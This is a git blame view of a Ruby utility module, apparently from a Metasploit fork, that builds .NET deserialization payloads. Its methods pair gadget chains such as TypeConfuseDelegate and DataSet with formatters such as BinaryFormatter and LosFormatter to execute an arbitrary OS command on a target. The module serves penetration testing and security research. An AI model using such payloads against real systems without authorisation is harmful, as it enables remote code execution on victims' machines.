Files
metasploit-gs/lib/msf/util/dot_net_deserialization.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

135 lines
4.4 KiB
Ruby
Raw Normal View History

require 'bindata'
2020-03-03 10:41:59 -05:00
module Msf
module Util
2020-03-03 12:23:24 -05:00
#
# Much of this code is based on the YSoSerial.Net project
# see: https://github.com/pwntester/ysoserial.net
#
module DotNetDeserialization
2020-04-09 20:53:55 -04:00
DEFAULT_FORMATTER = :BinaryFormatter
2020-03-03 10:41:59 -05:00
DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties
def self.encode_7bit_int(int)
return "\x00".b if int == 0
2020-03-03 10:41:59 -05:00
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
encoded_int = []
while int > 0
value = int & 0x7f
int >>= 7
value |= 0x80 if int > 0
encoded_int << value
end
encoded_int.pack('C*')
2020-03-03 10:41:59 -05:00
end
def self.get_ancestor(obj, ancestor_type, required: true)
while ! (obj.nil? || obj.is_a?(ancestor_type))
obj = obj.parent
end
raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required
obj
end
2020-03-03 10:41:59 -05:00
#
# Generation Methods
#
# Generates a .NET deserialization payload for the specified OS command using
# a selected gadget-chain and formatter combination.
#
# @param cmd [String] The OS command to execute.
# @param gadget_chain [Symbol] The gadget chain to use for execution. This
# will be application specific.
# @param formatter [Symbol] An optional formatter to use to encapsulate the
# gadget chain.
# @return [String]
def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
2020-04-09 20:53:55 -04:00
stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
self.generate_formatted(stream, formatter: formatter)
2020-03-03 10:41:59 -05:00
end
# Take the specified serialized blob and encapsulate it with the specified
# formatter.
#
2020-04-21 21:03:30 -04:00
# @param stream [Msf::Util::DotNetDeserialization::Types::SerializedStream]
# The serialized stream representing the gadget chain to format into a
# string.
2020-03-03 10:41:59 -05:00
# @param formatter [Symbol] The formatter to use to encapsulate the serialized
# data blob.
# @return [String]
2020-04-09 20:53:55 -04:00
def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)
2020-03-03 10:41:59 -05:00
case formatter
2020-04-09 20:53:55 -04:00
when :BinaryFormatter
formatted = Formatters::BinaryFormatter.generate(stream)
2023-03-15 17:09:21 -04:00
when :JsonNetFormatter
formatted = Formatters::JsonNetFormatter.generate(stream)
2020-03-03 10:41:59 -05:00
when :LosFormatter
2020-04-09 20:53:55 -04:00
formatted = Formatters::LosFormatter.generate(stream)
2020-04-14 00:00:31 -04:00
when :SoapFormatter
formatted = Formatters::SoapFormatter.generate(stream)
2020-03-03 10:41:59 -05:00
else
raise NotImplementedError, 'The specified formatter is not implemented'
end
formatted
end
# Get a list of gadget chains that are compatible with the specified formatter.
#
# @param formatter [Symbol] The formatter to get gadget chains for.
# @return [Array<Symbol>]
def self.formatter_compatible_gadget_chains(formatter)
case formatter
when :BinaryFormatter, :LosFormatter
chains = GadgetChains::NAMES.select { |name| GadgetChains.const_get(name) <= (Types::SerializedStream) }
when :JsonNetFormatter
chains = %i[ ObjectDataProvider ]
when :SoapFormatter
chains = %i[ ClaimsPrincipal TextFormattingRunProperties WindowsIdentity ]
else
raise NotImplementedError, 'The specified formatter is not implemented'
end
chains
end
2020-03-03 10:41:59 -05:00
# Generate a serialized data blob using the specified gadget chain to execute
# the OS command. The chosen gadget chain must be compatible with the target
# application.
#
2020-04-21 21:03:30 -04:00
# @param cmd [String] The operating system command to execute. It will
# automatically be prefixed with "cmd /c" by the gadget chain.
2020-03-03 10:41:59 -05:00
# @param gadget_chain [Symbol] The gadget chain to use for execution.
2020-04-09 20:53:55 -04:00
# @return [Types::SerializedStream]
2020-03-03 10:41:59 -05:00
def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
case gadget_chain
2022-02-09 14:38:51 -05:00
when :ClaimsPrincipal
stream = GadgetChains::ClaimsPrincipal.generate(cmd)
2022-08-03 16:37:32 -04:00
when :DataSet
stream = GadgetChains::DataSet.generate(cmd)
when :DataSetTypeSpoof
stream = GadgetChains::DataSetTypeSpoof.generate(cmd)
2023-03-15 17:09:21 -04:00
when :ObjectDataProvider
stream = GadgetChains::ObjectDataProvider.generate(cmd)
2020-03-03 10:41:59 -05:00
when :TextFormattingRunProperties
2020-04-09 20:53:55 -04:00
stream = GadgetChains::TextFormattingRunProperties.generate(cmd)
when :TypeConfuseDelegate
2020-04-09 20:53:55 -04:00
stream = GadgetChains::TypeConfuseDelegate.generate(cmd)
2020-04-11 14:11:47 -04:00
when :WindowsIdentity
stream = GadgetChains::WindowsIdentity.generate(cmd)
2020-03-03 10:41:59 -05:00
else
raise NotImplementedError, 'The specified gadget chain is not implemented'
end
2020-04-09 20:53:55 -04:00
stream
2020-03-03 10:41:59 -05:00
end
end
end
end